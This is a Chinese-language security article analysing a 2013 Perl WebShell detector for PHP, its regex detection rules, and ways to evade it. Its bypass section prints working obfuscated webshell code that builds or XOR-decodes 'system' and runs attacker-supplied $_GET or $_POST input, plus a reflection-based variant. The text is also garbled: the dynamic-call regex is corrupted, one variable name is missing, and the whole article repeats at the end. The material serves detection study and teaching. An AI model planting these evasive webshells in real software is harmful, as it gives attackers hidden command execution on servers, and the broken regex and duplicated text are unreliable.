一场跨越十年的超时空思维碰撞
字数 1484 2025-08-10 08:28:32

WebShell检测与绕过技术深度分析

1. 工具概述

腾讯安全lakehu师傅于2013年开发的ScanWebShell工具是一个Perl编写的WebShell检测脚本,主要用于检测PHP WebShell。该工具通过正则表达式匹配常见WebShell特征,具有以下特点:

  • 支持PHP WebShell检测(ASP/JSP部分未完成)
  • 采用Perl语言编写,可在Linux系统运行
  • 版本号:1.1.1
  • 开发日期:2013-10-30

2. 正则表达式分析

工具核心检测逻辑基于以下正则表达式模式:

2.1 高危函数检测

@php_code_array = (
  '\beval(\s|\/\*.*?\*\/)*$\s*.*?\s*$',
  '\bassert(\s|\/\*.*?\*\/)*$\s*.*?\s*$',
  '\bsystem(\s|\/\*.*?\*\/)*$\s*.*?\s*$',
  # 其他类似高危函数...
);

检测以下高危函数调用:

  • eval()
  • assert()
  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()
  • preg_replace()
  • create_function()
  • ob_start()
  • array_map()

2.2 动态函数调用检测

'\$[\w-_\'\
$$
\
$$
{}\.\$\*/|]+(\s|\/\*.*?\*\/)*$.*?$'

该正则表达式用于检测动态函数调用,可分解为四部分:

  1. \$ - 匹配$符号开头
  2. `[\w-_'\

\[\ \]

{}.$*/|]+- 匹配变量名(允许字母、数字、下划线等特殊字符) 3.(\s|/*.?*/)- 匹配空白或注释 4.\(.*?\)` - 匹配括号及内容

3. 检测原理深度解析

3.1 检测范围

  • 直接高危函数调用
  • 通过变量间接调用高危函数
  • 包含非PHP文件的可疑行为
  • 已知WebShell特征字符串(phpspy, c99shell等)

3.2 典型检测场景

  1. 直接函数调用:system($_GET['cmd']);
  2. 变量函数调用:$f = "system"; $f($_GET['cmd']);
  3. 反引号执行:`ls -al`
  4. 可疑包含:include($_GET['file'].".txt");

4. 绕过技术分析

4.1 回调函数绕过

$f =  chr(114+1).chr(120+1).chr(116-1).chr(117-1).chr(100+1).chr(108+1);
call_user_func_array($f, array($_GET['aabyss']));

原理:使用call_user_func_array等回调函数间接执行命令

4.2 不可见字符绕过

class Aabyss{
    public $c='';
    function __destruct(){
        $ = ('.$.48]' ^ ']]]@]0'); // system
        return $($this->c);
    }
}
$runrun=new Aabyss();
@$runrun->c=$_POST['zg'];

原理:在PHP<7.1.9中,不可见字符可作为变量名,绕过正则检测

4.3 其他潜在绕过方式

  1. 利用PHP特性:${"_\x50\x4f\x53\x54"}['cmd']
  2. 反射机制:(new ReflectionFunction('system'))->invoke('calc');
  3. 序列化漏洞利用
  4. 文件操作函数间接执行

5. 防御建议

5.1 增强检测能力

  • 结合AST进行语义分析
  • 引入机器学习模型
  • 增加上下文关联检测

5.2 代码层面防御

  • 禁用危险函数(disable_functions)
  • 严格过滤输入参数
  • 限制文件包含路径
  • 使用Suhosin等加固组件

6. 历史意义与技术演进

该工具反映了2013年WebShell检测技术的典型方案:

  • 主要依赖正则表达式匹配
  • 关注高危函数和常见WebShell特征
  • 相比现代技术(如AST分析)较为基础

现代WebShell检测技术已发展至:

  • 抽象语法树(AST)分析
  • 机器学习/深度学习模型
  • 行为沙箱检测
  • 全流量分析

7. 课后思考题

在lake2师傅提出的限制条件下(禁用高危函数和回调函数):

  1. 如何利用PHP的魔术方法实现绕过?
  2. 能否通过PHP的异常处理机制执行命令?
  3. 如何利用反序列化漏洞绕过检测?
  4. 有哪些非常规的文件操作函数可被利用?

8. 参考资源

  1. WebShell Bypass Guide
  2. PHP危险函数列表
  3. 现代WebShell检测技术
WebShell检测与绕过技术深度分析 1. 工具概述 腾讯安全lakehu师傅于2013年开发的ScanWebShell工具是一个Perl编写的WebShell检测脚本,主要用于检测PHP WebShell。该工具通过正则表达式匹配常见WebShell特征,具有以下特点: 支持PHP WebShell检测(ASP/JSP部分未完成) 采用Perl语言编写,可在Linux系统运行 版本号:1.1.1 开发日期:2013-10-30 2. 正则表达式分析 工具核心检测逻辑基于以下正则表达式模式: 2.1 高危函数检测 检测以下高危函数调用: eval() assert() system() passthru() exec() pcntl_ exec() shell_ exec() popen() proc_ open() preg_ replace() create_ function() ob_ start() array_ map() 2.2 动态函数调用检测 该正则表达式用于检测动态函数调用,可分解为四部分: \$ - 匹配$符号开头 [\w-_\'\\[\\]{}\.\$\*/|]+ - 匹配变量名(允许字母、数字、下划线等特殊字符) (\s|\/\*.*?\*\/)* - 匹配空白或注释 \(.*?\) - 匹配括号及内容 3. 检测原理深度解析 3.1 检测范围 直接高危函数调用 通过变量间接调用高危函数 包含非PHP文件的可疑行为 已知WebShell特征字符串(phpspy, c99shell等) 3.2 典型检测场景 直接函数调用: system($_GET['cmd']); 变量函数调用: $f = "system"; $f($_GET['cmd']); 反引号执行: `ls -al` 可疑包含: include($_GET['file'].".txt"); 4. 绕过技术分析 4.1 回调函数绕过 原理:使用call_ user_ func_ array等回调函数间接执行命令 4.2 不可见字符绕过 原理:在PHP <7.1.9中,不可见字符可作为变量名,绕过正则检测 4.3 其他潜在绕过方式 利用PHP特性: ${"_\x50\x4f\x53\x54"}['cmd'] 反射机制: (new ReflectionFunction('system'))->invoke('calc'); 序列化漏洞利用 文件操作函数间接执行 5. 防御建议 5.1 增强检测能力 结合AST进行语义分析 引入机器学习模型 增加上下文关联检测 5.2 代码层面防御 禁用危险函数(disable_ functions) 严格过滤输入参数 限制文件包含路径 使用Suhosin等加固组件 6. 历史意义与技术演进 该工具反映了2013年WebShell检测技术的典型方案: 主要依赖正则表达式匹配 关注高危函数和常见WebShell特征 相比现代技术(如AST分析)较为基础 现代WebShell检测技术已发展至: 抽象语法树(AST)分析 机器学习/深度学习模型 行为沙箱检测 全流量分析 7. 课后思考题 在lake2师傅提出的限制条件下(禁用高危函数和回调函数): 如何利用PHP的魔术方法实现绕过? 能否通过PHP的异常处理机制执行命令? 如何利用反序列化漏洞绕过检测? 有哪些非常规的文件操作函数可被利用? 8. 参考资源 WebShell Bypass Guide PHP危险函数列表 现代WebShell检测技术